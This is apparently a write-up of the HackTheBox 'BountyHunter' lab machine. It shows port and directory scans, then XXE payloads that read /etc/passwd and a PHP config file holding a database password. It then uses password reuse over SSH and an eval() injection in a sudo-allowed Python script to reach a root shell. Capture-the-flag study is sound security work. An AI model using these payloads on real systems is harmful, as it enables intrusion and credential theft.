Bounty Hunter
Another interesting machine by ejedev published on the HackTheBox
Full video about this machine is here https://youtu.be/V9HQGrtlggc
Discovery / Network Service Scanning
─$ nmap -p- --min-rate=1000 -T4 10.129.95.166
Let’s browse the web service
We will use burp suite to deep dive into the http request
One of the interesting forms is bouny report
Let’s inspect the request in Burp
Opening the inspector to the right, so we can decode the packet
As we can see the packet is xml, so let’s try use xxe injection , more information at OWASP
XML External Entity (XXE) Processing
https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing#
We will try to fetch the passed file as below, again the packet need to be encoded to base64 and URL encoding
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>asfd</cwe>
<cvss>asdf</cvss>
<reward>asdf</reward>
</bugreport>
URL Encoded
└─$ echo "PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGZvbyBbIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI+IF0+CgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU+Jnh4ZTs8L3RpdGxlPgoJCTxjd2U+YXNmZDwvY3dlPgoJCTxjdnNzPmFzZGY8L2N2c3M+CgkJPHJld2FyZD5hc2RmPC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+CgkJPC9idWdyZXBvcnQ+" | python3 -c "import urllib.parse;print (urllib.parse.quote(input()))"
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGZvbyBbIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCI%2BIF0%2BCgkJPGJ1Z3JlcG9ydD4KCQk8dGl0bGU%2BJnh4ZTs8L3RpdGxlPgoJCTxjd2U%2BYXNmZDwvY3dlPgoJCTxjdnNzPmFzZGY8L2N2c3M%2BCgkJPHJld2FyZD5hc2RmPC9yZXdhcmQ%2BCgkJPC9idWdyZXBvcnQ%2BCgkJPC9idWdyZXBvcnQ%2B
Will replace the packet into the Burp repeater
Search for shell user
└─$ cat passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash
Data Sources Internet scan web crawlling
$ gobuster dir -u http://10.129.95.166 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 30 -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.254.189
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/11/09 03:27:21 Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 25169]
/resources (Status: 301) [Size: 320] [--> http://10.129.254.189/resources/]
/assets (Status: 301) [Size: 317] [--> http://10.129.254.189/assets/]
/portal.php (Status: 200) [Size: 125]
/css (Status: 301) [Size: 314] [--> http://10.129.254.189/css/]
/db.php (Status: 200) [Size: 0]
/js (Status: 301) [Size: 313] [--> http://10.129.254.189/js/]
Progress: 59114 / 415288 (14.23%) ^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2021/11/09 03:33:08 Finished
===============================================================
Using PHP filters with XXE to read the DB.php
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php" >]>
<bugreport>
<title>&xxe;</title>
<cwe>CEV</cwe>
<cvss>adsf</cvss>
<reward>asf</reward>
</bugreport>
Decode to Base64 the url encode
┌──(kali㉿kali)-[~/Documents/HTB/BountyHunter/nasm]
└─$ echo "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/Pgo8IURPQ1RZUEUgZm9vIFsgPCFFTEVNRU5UIGZvbyBBTlkgPgo8IUVOVElUWSB4eGUgU1lTVEVNICJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCIgPl0+CgoJCTxidWdyZXBvcnQ+CgkJPHRpdGxlPiZ4eGU7PC90aXRsZT4KCQk8Y3dlPkNFVjwvY3dlPgoJCTxjdnNzPmFkc2Y8L2N2c3M+CgkJPHJld2FyZD5hc2Y8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4=" | python3 -c "import urllib.parse;print (urllib.parse.quote(input()))"
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iSVNPLTg4NTktMSI/Pgo8IURPQ1RZUEUgZm9vIFsgPCFFTEVNRU5UIGZvbyBBTlkgPgo8IUVOVElUWSB4eGUgU1lTVEVNICJwaHA6Ly9maWx0ZXIvY29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPWRiLnBocCIgPl0%2BCgoJCTxidWdyZXBvcnQ%2BCgkJPHRpdGxlPiZ4eGU7PC90aXRsZT4KCQk8Y3dlPkNFVjwvY3dlPgoJCTxjdnNzPmFkc2Y8L2N2c3M%2BCgkJPHJld2FyZD5hc2Y8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D
Send the request
PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=
Decode The Response Base64
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K"; # interesting password but adming doesnt belong to shell user !!
$testuser = "test";
?>
Try to use same password to ssh bu development user
$ssh development@10.129.95.166 # using dbpassword extracted above
We got user shell and captured the flag
Privilege Escalation
Checking users with shell
#1 Get users with shell commands
development@bountyhunter:~$ grep -E "sh\$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bash
#2 can development sudo ?
development@bountyhunter:~$ sudo -S id
[sudo] password for development:
Sorry, user development is not allowed to execute '/usr/bin/id' as root on bountyhunter.
#3 What commands can development run without password
development@bountyhunter:~$ sudo -S -l
Matching Defaults entries for development on bountyhunter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Review the ticketValidator.py for any opporutnity of injection
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Although the author provided sample ticket, I prefered to reverese the code to have better understanding on how to inject.(you can watch the related video)
Finally our injected ticket is ready
PoC.md
# Skytrain Inc
## Ticket to Glorry
__Ticket Code:__
**25+10** and __import__('subprocess').call('bash')
Upload the Ticket PoC
─$ scp poc.md development@10.129.200.111:/home/development
development@10.129.200.111's password:
poc.md 100% 103 0.8KB/s 00:00
Run the PoC
development@bountyhunter:~$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
poc.md
Destination: ZShell
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)
root@bountyhunter:/home/development# ls
contract.txt poc.md user.txt
root@bountyhunter:/home/development# cd..
cd..: command not found
root@bountyhunter:/home/development# cd ..
root@bountyhunter:/home# ls
development
root@bountyhunter:/home# cd ..
root@bountyhunter:/# ls
bin cdrom etc lib lib64 lost+found mnt proc run srv tmp var
boot dev home lib32 libx32 media opt root sbin sys usr
root@bountyhunter:/# ls root
root.txt snap
root@bountyhunter:/# cat root.txt
cat: root.txt: No such file or directory
root@bountyhunter:/# cat root/root.txt
86737596fae**********************
root@bountyhunter:/# We Got Z Shell